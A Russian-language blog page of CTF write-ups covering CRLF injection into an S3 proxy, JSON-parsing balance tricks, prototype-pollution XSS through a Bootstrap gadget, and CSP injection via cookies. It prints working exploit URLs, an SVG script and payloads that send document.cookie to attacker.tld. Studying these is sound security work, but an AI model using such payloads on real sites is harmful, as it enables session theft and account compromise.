Показаны сообщения с ярлыком script gadget. Показать все сообщения
Показаны сообщения с ярлыком script gadget. Показать все сообщения

29 марта 2021

VolgaCTF 2021 Quals / Online Wallet, Static Site writeups

Static Site

https://i.imgur.com/RWm3FRX.png

Задание представляет собой сайт, который состоит только из статики, часть из который подключается из Amazon S3 Bucket.

Идея взята из статьи Middleware, middleware everywhere - and lots of misconfigurations to fix. В случае, если в proxy_pass используются nginx переменные, содержащие перенос строки - это можно привести к CRLF Injection в запросе. Что особенно опасно при использовании Amazon S3, так как перезапись Host заголовка позволяет запросить файлы из произвольного bucket, созданного в том же регионе.

Это может произойти при использовании исключающих регулярных выражений

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

В задании использовался вариант с $uri, не упомянутый в статье. Данная переменная содержит нормализованное значение URI, переданное клиентом. Нормализация включает в себя преобразования относительных элементов пути "." и "..", замена повторяющихся "/" и url-декодирование.

location /static/ {
    proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}

Таким образом запрос /static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a будет отправлен следующим образом

GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket

 HTTP/1.1
Host: volga-static-site.s3.amazonaws.com

Что дает возможность атакующему вернуть свой HTML в контексте уязвимого сайта. Но Content Security Policy не позволял использовать inline script, поэтому для выполнения кода необходимо подключить еще один файл с использованием CRLF Injection.

Content Security Policy: ...; script-src 'self'...

Эксплуатация:

  • Создаем bucket в регионе us-east-1
  • Загружаем /static/xss.html
<script src="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a">
</script>
  • Загружаем /static/xss.js
location.replace('//attacker.tld/?' + document.cookie)
  • Отправляем боту ссылку
https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a

Многие остались недовольны тем, что необходимо угадывать регион для создания bucket, потому что иначе выдавало перенаправление с сообщением "Please re-send this request to the specified temporary endpoint". Это действительно вызывает проблемы при Subdomain Takeover, когда старый bucket был удален. Так как пересоздание bucket с таким же именем в другом регионе занимает около часа, пока Amazon синхронизирует информацию в своей огромной инфраструктуре. Но в данном случае узнать регион не составляет труда, так как Amazon публикует диапазоны IP всех своих сервисов по ссылке https://ip-ranges.amazonaws.com/ip-ranges.json

<?php
    $ip = gethostbyname($argv[1]);

    $ip_ranges = json_decode(file_get_contents('https://ip-ranges.amazonaws.com/ip-ranges.json'));

    foreach ($ip_ranges->prefixes as $prefix) {
        if(isset($prefix->ip_prefix)) {
            if(ip_in_network($ip, $prefix->ip_prefix))
                print("Service $prefix->service, region $prefix->region".PHP_EOL);
        }
    }

    function ip_in_network($ip, $range) {
        list($net_addr, $net_mask) = explode('/', $range);
        if($net_mask <= 0){ return false; }
            $ip_binary_string = sprintf("%032b", ip2long($ip));
            $net_binary_string = sprintf("%032b", ip2long($net_addr));
      return (substr_compare($ip_binary_string, $net_binary_string, 0, $net_mask) === 0);
    }
?>
> php amazon_region.php volga-static-site.s3.amazonaws.com

Service AMAZON, region us-east-1
Service S3, region us-east-1

Online Wallet (part 1)

https://i.imgur.com/9DUV5DR.png

Данное задание представляет собой онлайн кошелек с функциями создания и перевода средств между своими счетами. Для получения флага необходимо запросить вывод денег со счета, но он доступен только при отрицательном балансе или более 150 токенов. При регистрации создается кошелек с балансом 100.

Идея уязвимости была взята из статьи An Exploration of JSON Interoperability Vulnerabilities.

При переводе средств между счетами происходило 2 различных парсинга JSON тела запроса.
Первый раз с помощью node через body-parser

const bodyParser = require('body-parser')

app.use(bodyParser.json({verify: rawBody}))

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

И второй раз при совершении транзакции в MySQL. Поле transaction имело тип JSON.

transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

Так как проверка баланса происходила в node, а выполнение транзакции в MySQL это вызывало следующие ошибки:

  • При переводе очень мелких сумм происходило пополнение второго кошелька, но баланс первого оставался 100 (объяснить это я затрудняюсь)

https://i.imgur.com/dVKTYZ2.png

https://i.imgur.com/vajdLZ9.png

https://i.imgur.com/b6Ic6kR.png

  • Из-за разных округлений в парсинге возможно было увести баланс в минус
Node
JSON.parse('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}').amount
100

MySQL
select json_extract('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}', '$.amount');
100.00000000000001

Таким образом, для получения флага достаточно было сделать 1 транзакцию. Но несмотря на мои попытки избавится от Race Condition, многие команды решили таск не так, как планировалось.

Online Wallet (part 2)

Во второй части задания участникам необходимо было сделать XSS и украсть cookie у бота.

В приложении была возможность смены языка, которая реализована загрузкой разной версии JS файла с Amazon S3 bucket.

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_ru.js"></script>

Через параметр lang можно установить произвольное значение языка, но символы <>" обрабатывались корректно

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_&lt;&gt;&#34;.js"></script>

Но, так как значение попадает в путь к скрипту, это позволяет подключить произвольный файл из данного bucket, используя следующее значение "?lang=/../foo".

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_/../foo.js"></script>

За счет листинга можно посмотреть все файлы и обнаружить deparam.js
https://i.imgur.com/LIMTOL8.png

Данная библиотека преобразует параметры из location.search в объект. Используя подсказку в исходном коде можно было найти репозиторий, содержащий примеры библиотек, уязвимых к Prototype Pollution и гаджеты, с помощью которых можно продемонстрировать выполнение произвольного JS кода https://github.com/BlackFan/client-side-prototype-pollution. Однако стандартный вариант Prototype Pollution действительно не работает, потому что объект создается без прототипа.

https://i.imgur.com/m7pjTEq.png

https://i.imgur.com/rg9fzyL.png

Но фикс исправляет только создание объектов, а библиотека deparam поддерживает массивы, через которые аналогично можно добраться до прототипа объекта следующим образом

https://i.imgur.com/rF9X364.png

Используя создание полей в прототипе объекта, атакующий может изменять логику существующих скриптов на странице, что может привести к XSS. Искать фрагмент кода, который будет эксплуатироваться через Prototype Pollution можно двумя путями - от обращения к неинициализированному полю до уязвимого кода. И наоборот, сначала выделить небезопасные фрагменты кода, а потом искать неинициализированные поля, которые на него влияют.

В первом случае поможет скрипт pollute.js от Michał Bentkowski. Но в данном случае проще было выбрать второй путь и использовать untrusted-types от filedescriptor. При наведении курсора на кнопку "Deposit" появлялся tooltip и расширение untrusted-types предупреждало о небезопасном использовании innerHTML в jQuery.

https://i.imgur.com/yF8wnAF.png

И если взглянуть на функцию getTipElement, становится понятно, что для этого фрагмента кода уже есть готовый XSS PoC в репозитории.

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://i.imgur.com/tBw33vk.png

Но остается еще одна проблема - для отображения tooptip необходимо вызвать onfocus для данного элемента.

<span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
    <button class="btn btn-primary" type="button" disabled style="pointer-events:none;" data-i18n="deposit">
        Deposit
    </button>
</span>

Это можно сделать загрузив сайт в iframe и обновив src с добавлением id элемента "#depositButton", в результате чего фокус будет переведен на кнопку и bootstrap отобразит tooltip.

Эксплуатация

  • Через параметр lang подключить deparam.js
  • Обойти фикс Prototype Pollution через массивы
  • Вызвать небезопасный фрагмент кода через onfocus
  • Использовать XSS гаджет для jQuery
<iframe name="xss" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E"></iframe>
<script>
setTimeout(function() {
    xss.location="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E#depositButton"
}, 2000)
</script>

Исходный код заданий: https://github.com/BlackFan/ctfs/tree/master/volgactf_2021_quals

03 декабря 2019

CTFZone 2019 Quals - Shop Task


Приложение позволяет создавать заявки в техподдержку, которые обрабатываются ботом.
Вложения сохраняются на отдельном поддомене:

web-shop.ctfz.one
uploads.web-shop.ctfz.one

img

CSP Injection

В заголовке Content-Security-Policy используется значение cookie scope, с помощью которой можно добавить дополнительный report-uri и разрешающие правила script-src для проведения XSS.

Content-Security-Policy: 
    default-src 'self'; 
    style-src 'self'; 
    img-src 'self' http://uploads.web-shop.ctfz.one; 
    report-uri /csp?scope=$$cookie_scope$$;

В переменной фильтровались некоторые символы, но тем не менее использование protocol-relative uri и числовое представление IP адреса сработало.

Пример:

Cookie: scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;

В итоге Content-Security-Policy выглядело следующим образом

Content-Security-Policy: 
    default-src 'self'; 
    style-src 'self'; 
    img-src 'self' http://uploads.web-shop.ctfz.one; 
    report-uri /csp?scope= //758608540/; 
    script-src 'unsafe-inline' 'self' 'unsafe-eval';

Добавленный report-uri я использовал для получения информации от бота через отчеты о нарушении CSP. Например, если запретить self в script-src получится следующее:

img

Установка Cookie

Теперь для эксплуатации XSS необходимо найти возможность устанавливать произвольные cookie значения, чтобы отключить CSP.
Оказалось, что вложения в заявках позволяли использовать SVG изображения, таким образом можно было получить SVG XSS в контексте сайта uploads.web-shop.ctfz.one. А используя XSS на поддомене uploads можно создать cookie указав domain=.web-shop.ctfz.one.

Пример SVG:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    document.cookie="scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;domain=.web-shop.ctfz.one;path=/;";
  </script>
</svg>

Для того, чтобы XSS сработала - SVG нужно открыть на отдельной странице.

http://uploads.web-shop.ctfz.one/10f02271-2aaf-47e7-82c8-60941bb11fa0/093c690b-ba19-4705-b299-38c8286fc8d6.svg

После этого запрос к web-shop.ctfz.one будет содержать 2 разных cookie scope, но веб приложение использует последнюю с CSP Injection.

img

В случае, если бы приложение использовало только первую cookie, можно было бы добавить атрибут path=/ticket/ и перенести добавленный scope в начало заголовка Cookie, так как согласно RFC 6265

   2.  The user agent SHOULD sort the cookie-list in the following
       order:

       *  Cookies with longer paths are listed before cookies with
          shorter paths.

       *  Among cookies that have equal-length path fields, cookies with
          earlier creation-times are listed before cookies with later
          creation-times.

Бот обрабатывал и открывал все ссылки, указанные в комментариях к заявке. Таким образом, отправив сообщение с ссылкой на SVG можно было установить боту необходимую cookie.

XSS

На последнем шаге необходимо было найти саму XSS, что оказалось самым сложным для меня. Комментарии поддерживали markdown, но самые очевидные javascript ссылки не работали.

[xxx<xxx](http://xxx)

<a href="http://xxx">xxx<xxx</a>

Используя markdown ссылки можно было протащить в HTML один символ <, в результате чего создавался некорректный тег “<xxx<”, что после обработки браузером выглядело вот так:

img

Так как на странице был не голый HTML, а также использовались jquery-3.2.1.slim.min.js, popper.min.js и bootstrap.min.js - можно попробовать найти script gadget с помощью которого сделать XSS. Финальный вариант основан на CVE-2018-14041 https://github.com/twbs/bootstrap/issues/26627 и работает без пользовательских действий, хотя на вид выглядит не особо корректно. В живую посмотреть можно тут https://jsbin.com/cewuvubalu/1/edit?html,output.

[x<x<x data-spy=scroll data-target=<img/src/onerror=eval(location.hash.slice(1))&gt; zz](http://)

<a href="http://">x<x&lt;x data-spy=scroll data-target=&lt;img/src/onerror=eval(location.hash.slice(1))&gt; zz</a>

В итоге решение было таким:

  • Создать тикет с XSS
  • Создать тикет с SVG и вставить перенаправление на тикет с XSS
<svg ...>
  <script type="text/javascript">
    document.cookie="scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;domain=.web-shop.ctfz.one;path=/;";
    location="http://web-shop.ctfz.one/ticket/541c92e3-d1c5-47f0-9668-9d4c3f6c7dc1#jQuery('#inputText').val('pwn');jQuery('.btn').click();";
  </script>
</svg>
  • Отправить боту ссылку на SVG
[svg](http://uploads.web-shop.ctfz.one/10f02271-2aaf-47e7-82c8-60941bb11fa0/093c690b-ba19-4705-b299-38c8286fc8d6.svg)
  • Получить флаг в ответном сообщении, которое бот отправит через XSS

img